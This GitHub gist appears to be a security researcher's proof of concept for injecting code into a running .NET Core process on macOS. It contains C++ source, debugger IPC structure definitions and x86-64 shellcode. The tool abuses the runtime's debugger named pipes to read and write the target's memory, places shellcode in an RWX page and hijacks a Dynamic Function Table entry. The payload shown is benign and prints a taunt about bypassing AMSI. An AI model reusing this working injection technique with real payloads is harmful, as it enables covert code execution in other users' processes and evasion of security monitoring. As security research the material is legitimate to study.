Created
September 13, 2020 22:51
-
-
Save xpn/b427998c8b3924ab1d63c89d273734b6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include "main.h" | |
// libcorclr.dll signature for finding hlpDynamicFuncTable | |
unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0"; | |
// Print some troll message to console | |
unsigned char shellcode[] = { | |
0x80, 0x3d, 0x6b, 0x00, 0x00, 0x00, 0x01, 0x74, 0x2d, 0x50, 0x53, 0x51, | |
0x52, 0x55, 0x56, 0x57, 0xb8, 0x04, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00, | |
0x00, 0x00, 0x48, 0x8d, 0x35, 0x21, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, | |
0x00, 0x00, 0x0f, 0x05, 0x5f, 0x5e, 0x5d, 0x5a, 0x59, 0x5b, 0x58, 0xc6, | |
0x05, 0x3c, 0x00, 0x00, 0x00, 0x01, 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, | |
0x41, 0x41, 0x41, 0x41, 0xff, 0xe0, 0x0a, 0x0a, 0x57, 0x48, 0x4f, 0x20, | |
0x4e, 0x45, 0x45, 0x44, 0x53, 0x20, 0x41, 0x4d, 0x53, 0x49, 0x3f, 0x3f, | |
0x20, 0x3b, 0x29, 0x20, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x69, 0x6f, | |
0x6e, 0x20, 0x74, 0x65, 0x73, 0x74, 0x20, 0x62, 0x79, 0x20, 0x40, 0x5f, | |
0x78, 0x70, 0x6e, 0x5f, 0x0a, 0x0a, 0x00 | |
}; | |
// Headers which we will need to use throughout our session | |
MessageHeader sSendHeader; | |
MessageHeader sReceiveHeader; | |
// Our pipe handles | |
int wr, rd; | |
/// Read process memory from our target | |
bool readMemory(void *addr, int len, unsigned char **output) { | |
*output = (unsigned char *)malloc(len); | |
if (*output == NULL) { | |
return false; | |
} | |
// Set up the message header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_ReadMemory; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; | |
sSendHeader.m_cbDataBlock = 0; | |
// Write the header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Read the response header | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Make sure that memory could be read before we attempt to read further | |
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { | |
return false; | |
} | |
memset(*output, 0, len); | |
// Read the memory from the debugee | |
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Write to our target process memory | |
bool writeMemory(void *addr, int len, unsigned char *input) { | |
// Set up the message header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_WriteMemory; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; | |
sSendHeader.m_cbDataBlock = len; | |
// Write the header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Write the data | |
if (write(wr, input, len) < 0) { | |
return false; | |
} | |
// Read the response header | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Ensure our memory write was successful | |
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Create a new debugger session | |
bool createSession(void) { | |
SessionRequestData sDataBlock; | |
// Set up our session request header | |
sSendHeader.m_eType = MT_SessionRequest; | |
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; | |
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; | |
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); | |
// Set a random value for the UUID | |
for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) { | |
*((char *)&sDataBlock.m_sSessionID + i) = (char)rand(); | |
} | |
// Send our header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Send our UUID | |
if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) { | |
return false; | |
} | |
// Read the response | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Returns the DCB from the target | |
bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) { | |
// Set up our header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_GetDCB; | |
sSendHeader.m_cbDataBlock = 0; | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Hunts through memory searching for the provided signature | |
int findMemorySignature(void *base, unsigned char *signature, int len) { | |
unsigned char *output; | |
int offset = 0xc1000; //0; | |
while(true) { | |
if (readMemory((char *)base + offset, len, &output) == false) { | |
// If we hit a memory access violation, we probably went too far | |
return -1; | |
} | |
if (memcmp(output, signature, len) == 0) { | |
return offset; | |
} | |
free(output); | |
offset++; | |
} | |
return -1; | |
} | |
/// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!) | |
unsigned long long runVMMAP(const char *processName) { | |
int link[2]; | |
pid_t pid; | |
char *output; | |
int nbytes = 1, r = 0; | |
char *needle; | |
output = (char *)malloc(0x10000); | |
if (pipe(link)==-1) | |
exit(2); | |
if ((pid = fork()) == -1) | |
exit(2); | |
if(pid == 0) { | |
dup2 (link[1], STDOUT_FILENO); | |
close(link[0]); | |
close(link[1]); | |
execl("/usr/bin/vmmap", "vmmap", processName, (char *)0); | |
exit(2); | |
} | |
close(link[1]); | |
while(nbytes != 0) { | |
nbytes = read(link[0], output + r, 0x10000); | |
if (nbytes == 0x10000) { | |
break; | |
} | |
r += nbytes; | |
} | |
wait(NULL); | |
// Search for our RWX memory region | |
if ((needle = strstr(output, "rwx/rwx")) == NULL) { | |
return 0; | |
} | |
// Now we need to search backwards for the start of the line (GOD DAMN APPLE!!) | |
while(*needle != '\n') { | |
needle--; | |
} | |
// Now we find and extract the address at the end of the region | |
while(*needle != '-') { | |
needle++; | |
} | |
needle++; | |
// Now NULL terminate the address | |
*(needle + 0x10) = '\0'; | |
return strtoull(needle, NULL, 16); | |
} | |
int main(int argc, char **argv) { | |
struct DebuggerIPCControlBlockTransport dcb; | |
unsigned char *output; | |
unsigned char *dft; | |
int offset; | |
int dftOffset; | |
unsigned long long rwxPageAddr; | |
printf("Dotnet Core Debugger Injection POC by @_xpn_\n\n"); | |
if (argc != 4) { | |
printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]); | |
printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" pwsh\n", argv[0]); | |
return 10; | |
} | |
wr = open(argv[1], O_WRONLY); | |
rd = open(argv[2], O_RDONLY); | |
if (rd < 0 || wr < 0) { | |
printf("[x] Could not open provided named pipes\n"); | |
return 1; | |
} | |
// Create debugger session | |
printf("[*] Creating a session with the target\n"); | |
if (!createSession()) { | |
printf("[x] Error: Could not create debugger session\n"); | |
return 1; | |
} | |
// Retrieve the DCB | |
printf("[*] Retrieving a copy of the target DCB\n"); | |
if (!getDCB(&dcb)) { | |
printf("[x] Error: Could not request DCB\n"); | |
return 2; | |
} | |
// Search for DFT signature in memory | |
printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr); | |
if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) { | |
printf("[x] Error: Could not find memory signature\n"); | |
return 3; | |
} | |
// Read the offset to the address table | |
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) { | |
printf("[x] Error: Could not read Dynamic Function Table from target\n"); | |
return 4; | |
} | |
dftOffset = *(int *)(output) + 0x7; | |
printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset); | |
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) { | |
printf("[x] Error: Could not read Dynamic Function Table\n"); | |
return 4; | |
} | |
printf("[*] Dynamic Function Table read\n"); | |
// Update our shellcode to return into the original DFT function address | |
*(unsigned long long *)(shellcode + 56) = *(unsigned long long *)((char *)dft + 0x50); | |
rwxPageAddr = runVMMAP(argv[3]); | |
rwxPageAddr -= sizeof(shellcode); | |
printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr); | |
if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) { | |
printf("[x] Error: Could not write our shellcode to RWX memory\n"); | |
return 4; | |
} | |
printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n"); | |
if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + 0x50, 0x8, (unsigned char *)&rwxPageAddr)) { | |
printf("[x] Error: Could not write to the function table\n"); | |
return 5; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef unsigned int DWORD; | |
typedef unsigned char BYTE; | |
typedef unsigned char * PBYTE; | |
typedef DWORD HRESULT; | |
typedef unsigned short USHORT; | |
typedef unsigned int ULONG; | |
typedef unsigned char UCHAR; | |
typedef bool BOOL; | |
static const DWORD kCurrentMajorVersion = 2; | |
static const DWORD kCurrentMinorVersion = 0; | |
#define CorDBIPC_BUFFER_SIZE 4016 | |
#define MSLAYOUT __attribute__((__ms_struct__)) | |
enum IPCEventType | |
{ | |
IPCET_OldStyle, | |
IPCET_DebugEvent, | |
IPCET_Max, | |
}; | |
typedef struct _GUID { | |
ULONG Data1; // NOTE: diff from Win32, for LP64 | |
USHORT Data2; | |
USHORT Data3; | |
UCHAR Data4[ 8 ]; | |
} GUID; | |
enum MessageType | |
{ | |
// Session management operations. These must come first and MT_SessionClose must be last in the group. | |
MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key) | |
MT_SessionAccept, // LS -> RS : Accept new session | |
MT_SessionReject, // LS -> RS : Reject new session, give reason | |
MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent | |
MT_SessionClose, // RS -> LS : Gracefully terminate a session | |
// Debugger events. | |
MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message | |
// Misc management operations. | |
MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request) | |
MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request) | |
MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request) | |
MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request) | |
MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request) | |
MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request) | |
}; | |
enum RejectReason | |
{ | |
RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request. | |
RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time) | |
}; | |
struct MessageHeader | |
{ | |
MessageType m_eType; // Type of message this is | |
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) | |
DWORD m_dwId; // Message ID assigned by the sender of this message | |
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) | |
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) | |
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and | |
// never read) | |
// The rest of the header varies depending on the message type (keep the maximum size of this union | |
// small since all messages will pay the overhead, large message type specific data should go in the | |
// following data block). | |
union | |
{ | |
// Used by MT_SessionRequest / MT_SessionAccept. | |
struct | |
{ | |
DWORD m_dwMajorVersion; // Protocol version requested/accepted | |
DWORD m_dwMinorVersion; | |
} VersionInfo; | |
// Used by MT_SessionReject. | |
struct | |
{ | |
RejectReason m_eReason; // Reason for rejection. | |
DWORD m_dwMajorVersion; // Highest protocol version the LS supports | |
DWORD m_dwMinorVersion; | |
} SessionReject; | |
// Used by MT_ReadMemory and MT_WriteMemory. | |
struct | |
{ | |
PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS | |
DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write | |
HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.) | |
} MemoryAccess; | |
// Used by MT_Event. | |
struct | |
{ | |
IPCEventType m_eIPCEventType; // multiplexing type of this IPC event | |
DWORD m_eType; // Event type (useful for debugging) | |
} Event; | |
} TypeSpecificData; | |
BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents | |
}; | |
struct SessionRequestData | |
{ | |
GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness | |
}; | |
typedef unsigned int SIZE_T; | |
typedef unsigned int RemoteHANDLE; | |
struct MSLAYOUT DebuggerIPCRuntimeOffsets | |
{ | |
#ifdef FEATURE_INTEROP_DEBUGGING | |
void *m_genericHijackFuncAddr; | |
void *m_signalHijackStartedBPAddr; | |
void *m_excepForRuntimeHandoffStartBPAddr; | |
void *m_excepForRuntimeHandoffCompleteBPAddr; | |
void *m_signalHijackCompleteBPAddr; | |
void *m_excepNotForRuntimeBPAddr; | |
void *m_notifyRSOfSyncCompleteBPAddr; | |
void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee | |
DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions | |
#endif // FEATURE_INTEROP_DEBUGGING | |
SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll | |
SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer. | |
SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread. | |
SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count. | |
SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread | |
SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread | |
SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread | |
DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled". | |
SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread | |
SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object | |
DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping | |
DWORD m_EEMaxFrameValue; // The max Frame value | |
SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object. | |
SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame | |
DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException | |
void *m_pPatches; // Addr of patch table | |
BOOL *m_pPatchTableValid; // Addr of g_patchTableValid | |
SIZE_T m_offRgData; // Offset of m_pcEntries | |
SIZE_T m_offCData; // Offset of count of m_pcEntries | |
SIZE_T m_cbPatch; // Size per patch entry | |
SIZE_T m_offAddr; // Offset within patch of target addr | |
SIZE_T m_offOpcode; // Offset within patch of target opcode | |
SIZE_T m_cbOpcode; // Max size of opcode | |
SIZE_T m_offTraceType; // Offset of the trace.type within a patch | |
DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED | |
}; | |
// DCB | |
struct MSLAYOUT DebuggerIPCControlBlock | |
{ | |
// Version data should be first in the control block to ensure that we can read it even if the control block | |
// changes. | |
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized | |
ULONG m_verMajor; // CLR build number for the Left Side. | |
ULONG m_verMinor; // CLR build number for the Left Side. | |
// This next stuff fits in a DWORD. | |
bool m_checkedBuild; // CLR build type for the Left Side. | |
// using the first padding byte to indicate if hosted in fiber mode. | |
// We actually just need one bit. So if needed, can turn this to a bit. | |
// BYTE padding1; | |
bool m_bHostingInFiber; | |
BYTE padding2; | |
BYTE padding3; | |
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side. | |
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support. | |
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side. | |
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires. | |
HRESULT m_errorHR; | |
unsigned int m_errorCode; | |
// 64-bit needs this padding to make the handles after this aligned. | |
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0. | |
ULONG padding4; | |
RemoteHANDLE m_rightSideEventAvailable; | |
RemoteHANDLE m_rightSideEventRead; | |
// @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility. | |
// Eventually, we expect to remove this whole block. | |
RemoteHANDLE m_paddingObsoleteLSEA; | |
RemoteHANDLE m_paddingObsoleteLSER; | |
RemoteHANDLE m_rightSideProcessHandle; | |
//............................................................................. | |
// Everything above this point must have the exact same binary layout as v1.1. | |
// See protocol details below. | |
//............................................................................. | |
RemoteHANDLE m_leftSideUnmanagedWaitEvent; | |
// This is set immediately when the helper thread is created. | |
// This will be set even if there's a temporary helper thread or if the real helper | |
// thread is not yet pumping (eg, blocked on a loader lock). | |
DWORD m_realHelperThreadId; | |
// This is only published once the helper thread starts running in its main loop. | |
// Thus we can use this field to see if the real helper thread is actually pumping. | |
DWORD m_helperThreadId; | |
// This is non-zero if the LS has a temporary helper thread. | |
DWORD m_temporaryHelperThreadId; | |
// ID of the Helper's canary thread. | |
DWORD m_CanaryThreadId; | |
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets; | |
void *m_helperThreadStartAddr; | |
void *m_helperRemoteStartAddr; | |
DWORD *m_specialThreadList; | |
BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE]; | |
BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE]; | |
DWORD m_specialThreadListLength; | |
bool m_shutdownBegun; | |
bool m_rightSideIsWin32Debugger; // RS status | |
bool m_specialThreadListDirty; | |
bool m_rightSideShouldCreateHelperThread; | |
}; | |
struct MSLAYOUT DebuggerIPCControlBlockTransport | |
{ | |
// Version data should be first in the control block to ensure that we can read it even if the control block | |
// changes. | |
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized | |
ULONG m_verMajor; // CLR build number for the Left Side. | |
ULONG m_verMinor; // CLR build number for the Left Side. | |
// This next stuff fits in a DWORD. | |
bool m_checkedBuild; // CLR build type for the Left Side. | |
// using the first padding byte to indicate if hosted in fiber mode. | |
// We actually just need one bit. So if needed, can turn this to a bit. | |
// BYTE padding1; | |
bool m_bHostingInFiber; | |
BYTE padding2; | |
BYTE padding3; | |
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side. | |
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support. | |
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side. | |
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires. | |
HRESULT m_errorHR; | |
unsigned int m_errorCode; | |
// 64-bit needs this padding to make the handles after this aligned. | |
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0. | |
ULONG padding4; | |
// This is set immediately when the helper thread is created. | |
// This will be set even if there's a temporary helper thread or if the real helper | |
// thread is not yet pumping (eg, blocked on a loader lock). | |
DWORD m_realHelperThreadId; | |
// This is only published once the helper thread starts running in its main loop. | |
// Thus we can use this field to see if the real helper thread is actually pumping. | |
DWORD m_helperThreadId; | |
// This is non-zero if the LS has a temporary helper thread. | |
DWORD m_temporaryHelperThreadId; | |
// ID of the Helper's canary thread. | |
DWORD m_CanaryThreadId; | |
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets; | |
void *m_helperThreadStartAddr; | |
void *m_helperRemoteStartAddr; | |
DWORD *m_specialThreadList; | |
DWORD m_specialThreadListLength; | |
bool m_shutdownBegun; | |
bool m_rightSideIsWin32Debugger; // RS status | |
bool m_specialThreadListDirty; | |
bool m_rightSideShouldCreateHelperThread; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[BITS 64] | |
; Compile with "nasm shellcode.asm -o shellcode.bin -fbin" | |
; Convert to C with "xxd -i ./shellcode.bin" | |
global _main | |
section .text | |
_main: | |
_start: | |
cmp byte [rel already_run], 1 | |
je skip | |
push rax | |
push rbx | |
push rcx | |
push rdx | |
push rbp | |
push rsi | |
push rdi | |
mov rax, 0x2000004 | |
mov rdi, 1 | |
lea rsi, [rel msg] | |
mov rdx, msg.len | |
syscall | |
pop rdi | |
pop rsi | |
pop rbp | |
pop rdx | |
pop rcx | |
pop rbx | |
pop rax | |
mov byte [rel already_run], 1 | |
skip: | |
mov rax, 0x4141414141414141 | |
jmp rax | |
msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa | |
.len: equ $ - msg | |
already_run: db 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment